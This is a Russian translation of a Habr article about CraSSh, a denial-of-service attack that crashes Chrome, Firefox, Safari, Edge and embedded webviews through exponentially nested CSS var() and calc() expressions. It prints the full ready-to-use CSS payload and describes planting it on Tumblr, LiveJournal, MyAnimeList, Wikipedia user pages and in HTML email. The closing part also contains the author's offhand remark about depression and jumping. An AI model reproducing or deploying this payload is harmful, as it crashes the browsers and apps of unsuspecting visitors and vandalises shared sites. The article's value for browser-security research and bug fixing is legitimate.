[Перевод] CraSSh: ломаем все современные браузеры вычислениями в CSS

habr.png

Не хочу читать эту техническую болтовню. Просто повали уже мой браузер.

Что такое CraSSh


CraSSh — это кроссбраузерная чисто декларативная DoS-атака, основанная на плохой обработке вложенных CSS-функций var() и calc() в современных браузерах.

CraSSh действует во всех основных браузерах на десктопах и мобильных устройствах:

  • На движке WebKit/Blink — Chrome, Opera, Safari, даже Samsung Internet на смарт-телевизорах и холодильниках.
    • Android WebView, iOS UIWebView также затронуты, то есть можно обвалить любое приложение со встроенным браузером.
  • На движке Gecko — Firefox и его форки, такие как Tor Browser.
    • Servo не запустился ни на одной из моих машин, поэтому я его не протестировал.
  • На движке EdgeHTML — Edge в Windows, WebView в приложениях UWP (их вообще кто-нибудь использует?)


Браузер IE не затронут, поскольку он не поддерживает функции, на которых основана атака, но у его пользователей немало своих проблем (вероятно, этот браузер можно порушить другими способами — прим. пер.).

Как это работает


Идея CraSSh заключается в том, чтобы заставить браузер вычислить свойство CSS с вложенными вызовами переменных за экспоненциальное время и с огромным использованием памяти.

Атака полагается на три функции CSS:

Переменные CSS (custom properties и var ())

Они позволяют объявлять: присваивать и читать переменные:

.variables
{
  --variable: 1px;
  /* declare some variable */

  height: var(--variable);
  /* read the previously declared variable */
}

Переменные не допускают рекурсии (хотя был баг в WebKit, который вызывал бесконечную рекурсию) или циклы, но их можно определить как

выражения calc ()

Выражения calc () позволяют выполнять некоторые базовые арифметические операции при описании правил, например, 'width: calc(50% - 10px)'.

calc() позволяет ссылаться на переменные и использовать несколько значений в одном выражении:

.calc
{
  --variable: 1px;
  /* declare a constant */

  height: calc(var(--variable) + var(--variable));
  /* access --variable twice */
}

Это даёт возможность:

  • линейно увеличивать вычисления в каждом выражении calc() путём добавления ссылок на предыдущие переменные;
  • экспоненциально увеличивать сложность с каждым объявлением переменной с выражением calc(), ссылающимся на другие вычисляемые переменные:
.calc_multiple
{
  --variable-level-0: 1px;
  /* константа */

  --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0));
  /* 2 вычисления константы */

  --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1));
  /* 2 вызова предыдущей переменной, 4 вычисления константы */

  /*
    ... больше аналогичных объявлений
  */

  --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1));
  /* 2 вызова предыдущей переменной, 2 ^ n вычислений константы */
}

Это как будто должно вычисляться за экспоненциальное время, но современные браузеры немного умнее, поэтому обычно вычисляют значения переменных один раз, сводя сложность до линейной. Хитрость в том, что кэширования значений переменных не происходит, если у неё

разнородное значение

Технически, это часть calc(), но она заслуживает отдельного упоминания. Разнородная переменная содержит как абсолютные, так и относительные единицы. Она не может быть:

  • рассчитана как абсолютное значение и совместно использована различными приложениями для различных элементов, поскольку зависит от свойств целевого элемента (юниты '%' / 'em');
  • рассчитана как абсолютное значение в одном приложении, потому что в некоторых случаях это приведёт к накоплению ошибок округления, вызывающих странные субпиксельные смещения, которые нарушат сложные макеты (у вас есть 12 столбцов, каждый шириной 1/12 экрана? Не повезло, приятель, они соберутся в новый ряд или оставят неуклюжий промежуток в конце).


Таким образом, это значение каждый раз пересчитывается заново:

.non_cached {
  --const: calc(50% +  10px);
  /* остаётся (50% +  10px) */

  --variable: calc(var(--const) + var(--const));
  /* по-прежнему не вычисляется актуальное значение */

  width: var(--variable);
  /* всё вычисляется здесь */
}


Что касается второго момента, большинство браузеров просто встраивают вложенные переменные с разнородным значением в одно выражение, чтобы избежать ошибок округления:

.mixed {
  --mixed:calc(1% + 1px);
  /* разнородная константа                   */

  --mixed-reference: calc(var(--mixed) + var(--mixed));
  /* переменная со ссылкой на константу      */

  --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px);
  /* предыдущая переменная после встраивания */

  --mixed-reference-computes-as: calc(2% + 2px);
  /* сокращённое представление, которое позже будет вычислено как абсолютное значение */
}


Представьте, что в выражении миллионы (или миллиарды) элементов… Движок CSS пытается выделить несколько гигабайт оперативной памяти, сократить выражение, добавить обработчики событий, чтобы свойства можно было пересчитать, когда что-то изменится. В конце концов, это происходит на определённом этапе.

Так, выглядел оригинальный CraSSh:

.crassh {
  --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm);
  /* разнородная константа */

  --level-1: calc(var(--initial-level-0) + var(--initial-level-0));
  /* 2 вычисления          */

  --level-2: calc(var(--level-1) + var(--level-1));
  /* 4 вычисления          */

  --level-3: calc(var(--level-2) + var(--level-2));
  /* 8 вычислений          */

  --level-4: calc(var(--level-3) + var(--level-3));
  /* 16 вычислений         */

  --level-5: calc(var(--level-4) + var(--level-4));
  /* 32 вычисления         */

  --level-6: calc(var(--level-5) + var(--level-5));
  /* 64 вычисления         */

  --level-7: calc(var(--level-6) + var(--level-6));
  /* 128 вычислений        */

  --level-8: calc(var(--level-7) + var(--level-7));
  /* 256 вычислений        */

  --level-9: calc(var(--level-8) + var(--level-8));
  /* 512 вычислений        */

  --level-10: calc(var(--level-9) + var(--level-9));
  /* 1024 вычисления       */

  --level-11: calc(var(--level-10) + var(--level-10));
  /* 2048 вычислений       */

  --level-12: calc(var(--level-11) + var(--level-11));
  /* 4096 вычислений       */

  --level-13: calc(var(--level-12) + var(--level-12));
  /* 8192 вычисления       */

  --level-14: calc(var(--level-13) + var(--level-13));
  /* 16384 вычисления      */

  --level-15: calc(var(--level-14) + var(--level-14));
  /* 32768 вычислений      */

  --level-16: calc(var(--level-15) + var(--level-15));
  /* 65536 вычислений      */

  --level-17: calc(var(--level-16) + var(--level-16));
  /* 131072 вычисления     */

  --level-18: calc(var(--level-17) + var(--level-17));
  /* 262144 вычисления     */

  --level-19: calc(var(--level-18) + var(--level-18));
  /* 524288 вычислений     */

  --level-20: calc(var(--level-19) + var(--level-19));
  /* 1048576 вычислений    */

  --level-21: calc(var(--level-20) + var(--level-20));
  /* 2097152 вычисления    */

  --level-22: calc(var(--level-21) + var(--level-21));
  /* 4194304 вычисления    */

  --level-23: calc(var(--level-22) + var(--level-22));
  /* 8388608 вычислений    */

  --level-24: calc(var(--level-23) + var(--level-23));
  /* 16777216 вычислений   */

  --level-25: calc(var(--level-24) + var(--level-24));
  /* 33554432 вычисления   */

  --level-26: calc(var(--level-25) + var(--level-25));
  /* 67108864 вычисления   */

  --level-27: calc(var(--level-26) + var(--level-26));
  /* 134217728 вычислений  */

  --level-28: calc(var(--level-27) + var(--level-27));
  /* 268435456 вычислений  */

  --level-29: calc(var(--level-28) + var(--level-28));
  /* 536870912 вычисления  */

  --level-30: calc(var(--level-29) + var(--level-29));
  /* 1073741824 вычисления */

  --level-final: calc(var(--level-30) + 1px);
  /* 1073741824 вычисления */


    /* ^ на некоторых движках это не вычисляется автоматически -> нужно их где-то использовать             */

    border-width: var(--level-final);  /* <- применяем рассчитанное значение   */

    /* некоторые движки могут пропустить border-width, если нет style (= пропущено ) */
    border-style: solid;
}
Если вы это видите, ваш браузер не поддерживает современный CSS или разработчики исправили ошибку CraSSh


А вот встроенная версия менее чем в 1000 символов (MediaWiki для демонстрации).

CraSSh


Кроме отгона пользователей от собственного сайта или блога на платформе, которая дает полный доступ к HTML, как Tumblr (пример со сбоем браузера) или LiveJournal (пример со сбоем браузера), CraSSh позволяет:

  • Поломать UI на тех страницах сайта, которые под вашим контролем и позволяют определить произвольный CSS, даже не предоставляя шаблонов HTML. Мне удалось сломать MyAnimeList (пример со сбоем браузера). Reddit не подвержен этой атаке, потому что их парсер не поддерживает переменные CSS.
  • Поломать UI на публичных страницах с открытым доступом на запись, которые позволяют вставлять некоторые теги HTML со встроенными стилями. На Википедии мой аккаунт забанили за вандализм, хотя я разместил пример со сбоем браузера на личной странице. Атака затрагивает большинство проектов на основе MediaWiki. В принципе, поломанную страницу уже нельзя будет восстановить через UI.
  • Вызвать сбой почтовых клиентов с поддержкой HTML
    • Это довольно сложно, поскольку почтовые клиенты удаляют/уменьшают HTML и обычно не поддерживают современные функции CSS, которые использует CraSSh
    • CraSSh работает в
      • Samsung Mail для Android
    • CraSSh не работает в
      • Outlook (веб)
      • Gmail (веб)
      • Gmail (Android)
      • Yahoo (веб)
      • Yandex (веб)
      • Protonmail (веб)
      • Zimbra (веб, автономная установка)
      • Windows Mail (Windows, очевидно)
    • Должен работать в
      • Outlook для Mac (внутренне использует Webkit)
    • Другие не тестировали.
  • Мне просто пришла больная идея, что CraSSh можно использовать против ботов на основе CEF/PhantomJS. Атакуемый сайт может внедрять код CraSSh с заголовками (как здесь), а не показывать обычную ошибку 403. IIRC, ошибки обрабатываются по-разному во встраиваемых движках, поэтому
    • это, вероятно, приведет к сбою бота (никто не ожидает переполнения стека или чего-то в headless-браузере)
    • очень трудно для отладки, так как он даже не отображается в теле ответа, который, скорее всего, попадёт в логи


  • Помните тот пост Линуса?

    Похоже, мир IT-безопасности достиг нового дна.

    Если вы работаете в безопасности и думаете, что у вас есть совесть, то мне кажется, можете написать:

    «Нет, правда, я не шлюха. Честно-честно»

    на своей визитке. Я и раньше думал, что вся индустрия гнилая, но это уже становится смешно.

    В какой момент люди из безопасности признáют, что обожают привлекать к себе внимание?


    Я пошёл ещё дальше, и сделал аж целый сайт, посвящённый простому багу, потому что удовольствие работы до 4 утра и внимание к достигнутым результатам — это те немногие вещи, которые удерживают меня от депрессии и нырка на этот симпатичный тротуар перед офисом.
  • Кроме того, я ненавижу фронтенд, который составляет часть мой работы в качестве fullstack-разработчика, и такие вещи помогают немного расслабиться.


Сейчас я участвую в удивительном проекте, о котором мы расскажем чуть позже. Следите за новостями в твиттере.

© Habrahabr.ru